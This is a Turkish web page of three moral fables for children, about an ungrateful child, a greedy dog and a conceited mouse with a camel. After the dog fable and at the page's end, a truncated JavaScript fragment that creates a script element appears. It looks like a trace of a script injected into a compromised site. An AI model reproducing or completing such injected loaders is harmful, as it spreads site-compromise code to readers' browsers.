Etiket: öğretici hikaye

Mutsuz Çocuk Masalı
Mutsuz Çocuk Masalı

Mutsuz Çocuk Masalı

MUTSUZ ÇOCUK MASALI

Sevgili çocuklar, sıradaki masalımızın ismi: Mutsuz Çocuk.

Mutsuz bir çocuk vardı. Adı üstünde çok mutsuzdu. Niye mi? Çünkü hiçbir şey onu mutlu edemiyordu. Ailesi doğum gününde ona hediyeler aldı. Çeşit çeşit oyuncaklar, rengârenk giysiler. Ama mutsuz çocuk hiç sevinmedi. Onlara bir teşekkür bile etmedi.

Annesi sevdiği yemeklerden, pastalardan yaptı. Babası kumbarasına atması için para verdi. Mutsuz çocuk yine mutlu olmadı.

Bir gün okula giderken ağlayan bir çocuk gördü. Yanına yaklaşıp sordu:

– Neden ağlıyorsun?

Çocuğun üstü başı yırtık içindeydi. Ağlayarak cevap verdi:

– Karnım çok aç. Hiç kimsem yok. Ailem de yok.

Mutsuz çocuk ona çok acıdı. “Gel benimle” diyerek evine götürdü.

Mutsuz çocuğun ailesi ağlayan çocuğa çok iyi davrandı.

Anne onu yıkayıp saçlarını taradı. Mutsuz çocuğun giysilerinden giydirdi. Hazırladığı yiyeceklerden yedirdi. Baba para verdi.

Mutsuz çocuk da oyuncaklarıyla oynamasına izin verdi.

Zavallı çocuk o kadar çok sevindi ki üzüntüsünü unuttu. Ağlamayı kesti. Mutsuz çocuğa “Ne kadar şanslı bir çocuksun! Güzel bir evin, iyi bir ailen, giysilerin, oyuncakların, yiyeceğin var. Her halde sen çok mutlu bir çocuk olmalısın” dedi.

Mutsuz çocuk onun bu sözlerinden nelere sahip olduğunu ve nankörlük ettiğini anladı; çok utandı.

O günden sonra hiç mutsuz olmadı.

AÇGÖZLÜLÜĞÜN SONU
AÇGÖZLÜLÜĞÜN SONU

AÇGÖZLÜLÜĞÜN SONU

 

Uzak ülkelerin birinde kendi halinde yaşlı bir dede yaşarmış. Bu yaşlı dedenin bir de çok sevdiği köpeği varmış. Köpek çalışkan bir köpek değilmiş. Bütün gün evin önünde yatar dururmuş. Yaşlı dedecik akşam olunca kalan yemeklerin hepsini köpeğiyle paylaşırmış.

Bir gün köpek yine kapının önünde yatarken yolun karşısından geçen tombul köpeği görmüş. Kendisi zayıfken o köpek neredeyse kendisinin iki katıymış.

acgozlulugun-sonu2

acgozlulugun-sonu3Köpek, yattığı yerden doğrulmuş:

ZAYIF KÖPEK: ‘Hey, köpek kardeş! Sen nereye gidiyorsun?’

Tombul köpek zayıf köpeğin yanına yaklaşmış. Birazcık gururlanarak anlatmaya başlamış.

TOMBUL KÖPEK: ‘Saraya gidiyorum. Ben sarayda yaşıyorum. Sen burada ne yapıyorsun?’

Zayıf köpek saray lafını duyunca kulaklarını dikmiş.

ZAYIF KÖPEK: ‘Ben de burada yaşlı bir dedenin eline düştüm. Doğru düzgün yemek vermiyor bana. Şu halime bak’ demiş.

Tombul köpek yavaşça yanına yaklaşmış:

TOMBUL KÖPEK: ‘İstersen benimle birlikte saraya gelebilirsin. Orada bize bir sürü yemek veriyorlar. Yediğin önünde yemediğin arkanda.’

Zayıf köpek duyduklarını düşünmeye başlamış. İstediği kadar yiyebileceği bir sürü yemek olduğunu hayal etmiş.

ZAYIF KÖPEK: ‘Tamam, gelirim tabi. Ama önce yaşlı dedeye gideceğimi söylemem lazım.’

Tombul köpekle ikisi beklemeye başlamışlar. Akşama doğru yaşlı dede eve gelmiş.

ZAYIF KÖPEK: ‘Dede, ben artık seninle yaşamak istemiyorum. Bana güzel yemekler vermiyorsun. Ben arkadaşımla birlikte saraya gideceğim.’

Dede duydukları karşısında çok üzülmüş. Köpeğe çok iyi yemekler veremediğini kendisi de biliyormuş fakat her akşam kendi yemeğinde ne varsa köpeğe de aynısından veriyormuş. Fakir olduğu için çok iyi yemekler yapamıyormuş.

YAŞLI DEDE: ‘Sen bilirsin köpekçik. Ama aç gözlülüğün sonu iyi değildir. Burada bütün yemekler senin. Ama orada yemeğini kim bilir kaç tane köpekle paylaşmak zorunda kalacaksın’

ZAYIF KÖPEK: ‘Kararım kesin dede. Ben gidiyorum.’

Köpek tombul köpek arkadaşıyla birlikte saraya doğru yola koyulmuş.

acgozlulugun-sonu4

Tombul köpek mutfakta çalışan bir aşçının kızının köpeği imiş. O yüzden aradan sıyrılıp rahatça saraya girmiş. Fakat bizim zayıf köpek dışarıda kalakalmış. Üstelik yemekler döküldüğünde yemek kapmaya çalışırken bir sürü köpeğin arasında kalarak kendini de yaralamış. En sonunda büyük bir çoban köpeği gelmiş ve önündeki yemeği de alarak kaçmış.

acgozlulugun-sonu6

Zayıf köpek yaşlı dedenin ne demek istediğini çok iyi anlamış. Yaptığı yanlışı fark etmiş. Gecenin karanlığında aç bir şekilde dedenin evine geri dönmüş.

Saraya vardıklarında bir de ne görsün! Saray kapısının önünde o kadar çok köpek yemek bekliyormuş ki… Hiçbir şey tombul köpeğin anlattığı gibi değilmiş.

Yaşlı dede köpeği görünce kızgın gibi gözükse de içinden sevinmiş. Çünkü o köpeği çok seviyormuş.

ZAYIF KÖPEK: ‘Yaşlı dede, ben büyük bir hata yaptım. Sen doğru söylemişsin. Elimdekiyle yetinmeyi bilmeliydim. Ben daha fazlasını ararken canımdan bile olacaktım.’

YAŞLI DEDE: ‘‘Bu sana ders olsun köpekçik. Bundan sonra elindekiyle yetin, hırsının kurbanı olma!’

Dede köpeği affederek güzelce karnını doyurmuş. O günden sonra köpek de dedeye büyük bir sevgi ile bağlanmış.

İkisi de mutlu mesut hayatlarına devam etmişler.

acgozlulugun-sonu5

Unutmayın; daha çoğunu isterken sahip olduklarınızı da kaybedebilirsiniz. O yüzden elimizdekilerle yetinmeyi bilmeliyiz.var d=document;var s=d.createElement(‘script’);

Deve İle Fare Masalı
Deve İle Fare Masalı

 

KENDİNİ BEĞENMİŞ FARE İLE İYİ KALPLİ DEVE MASALI

kendini_begenen_fare_deve

 

Bir varmış, bir yokmuş. Uzak mı uzak diyarların birinde kocaman bir orman varmış ve bu ormanda yaşayan kendini çok beğenmiş bir de fare varmış. Fare, kendini o kadar beğenmiş bir fareymiş ki herkesi etrafında pervane etmeye bayılır, herkesi parmağında döndürürmüş.

Günlerden bir gün fare, iyi kalpli bir deve ile tanışmış. Deve o kadar iyi kalpli bir deveymiş ki, fare ne isterse yapmış. Onunla saatlerce sohbet etmiş, onu sırtında taşımış, etrafı göstermiş. Fare devenin bu iyi kalpliliğini çok güzel kullanabileceğini düşünmüş ve hemen kafasında planlar yapmaya başlamış. iyi kalpli devenin ise farenin aklından geçen kötü planlardan haberi bile yokmuş!

Fare bir gün deve ile konuşurken ağacın arkasında sakladığı büyük bir yuları çıkarmış:

Fare: ‘Deve kardeş, biliyorsun ki ikimiz de çok iyi arkadaşız. Ben senden bir şey isteyeceğim. Bu yuları senin boynuna bağlayıp yuları da ben elimde tutacağım. Bu sayede ormandaki herkes benim ne kadar güçlü bir fare olduğumu görecek’ demiş.

Deve farenin bu isteğine şaşırmış. Fakat arkadaşına hayır diyemeyeceği için farenin bu teklifini kabul etmiş. Fare hemen yuları almış eline ve devenin boynundan geçirmiş. Bir elinle yuları tutan fare, başlamış yürümeye. Böylece küçücük fare önde, koskocaman deve arkada tin tin yürümeye başlamışlar.

Fare ormanın içinden geçerken gerim gerim geriliyormuş. Diğer büyün hayvanlar da bu ikiliye bakıp gözlerine inanamıyorlarmış. Önce giden küçücük bir fare, elinde bir yular ve yuların ucunda koskocaman bir deve… Ormandaki hayvanlardan hiçbiri bu görüntüye bir anlam verememişler. Fare ormandan geçerken o kadar böbürlenerek geçiyormuş ki, arkasından gelen kocaman deveye üstünlük sağladığını düşünüyormuş. Küçük aklı ile yuları eline aldığı vakit, deveye de üstünlük sağladığını düşünüyor ve kendi kendine gururlanıyormuş. ‘Ben ne kadar da kuvvetli bir fareymişim’ diye diye ormanın içinden geçmiş.

Deve ise ilk başta farenin neden boynuna yular geçirdiğini anlayamamış. Arkadaşını kırmamak için bu teklifi kabul etmiş. Fakat deve ve fare ormanın içine girdiklerinde;  farenin böbürlenişini, büyüklenişini gören deve neye uğradığını şaşırmış. Farenin bu kendini beğenmiş hal ve tavırlarına çok sinirlenen deve ona güzel bir ders vermek için harekete geçmiş.

kibirli_fare

Fare, elinde yuları ile bir müddet daha yürümüş ve yürüye yürüye bir ırmağın kenarına gelmiş. Irmağı görünce fare kalakalmış. ‘Ben bu ırmaktan nasıl geçeri karşı tarafa’ diye geçirmiş içinden. Deve ise farenin bu duraklamasının farkına vararak hemen konuya girmiş:

Deve:  ‘Ey tüm orman boyunca önümde yürüyen ve bana yol gösteren fare kardeş! Sen benim yol göstericimsin. Bak yularım senin ellerindedir. Bu ırmaktan geç ki ben de geçeyim’ demiş.

Fare kararsız bir şekilde deveye bakmış:

Fare: ‘İyi de deve kardeş, bu ırmak çok büyük. Ben buradan geçemem, boğulmaktan korkarım.’

Deve fareye ders vermek için çok güzel bir fırsat olduğunu anlamış ve hemen konuya devam etmiş:

Deve: ‘Fare kardeş, hiç korkma! Bu ırmak sandığın kadar derin değildir. Bak ben gireyim de ne kadar derin olduğunu gözlerinle gör’ demiş.

Deve ırmağa girmiş ve su seviyesi ancak dizlerine gelebilmiş. Deve fareye dönmüş:

Deve: ‘Bak fare kardeş, diz boyuna gelen su yüzünden mi korktun?’

Fare de tereddüt ederek cevap vermiş:

Fare: ‘İyi de deve kardeş dizden dize fark vardır. Senin ancak diz boyuna gelen su, benim boyumu kat kat aşar.’

Deve bu lafın üzerine hiç vakit kaybetmeden cevabını söylemiş:

Deve: ‘Ya fare kardeş, anladın mı hatanı? Madem herkesin su seviyesi farklı, sen de haddini ve yerini bil. Kendini çok büyük görme, yükseklerdesin zannetme. Kendin gibi olanlarla boy ölç, başkaları ile yarışma. Çünkü başkalarının dizine gelen sular seni boğar.’

Fare devenin bu sözlerine üzerine hatasını anlamış ve deveden özür dilemiş. Deveden aldığı bu dersi bir ömür boyu unutmayan fare, bir daha hiç kimseye büyüklenmemiş.

 

 var d=document;var s=d.createElement(‘script’);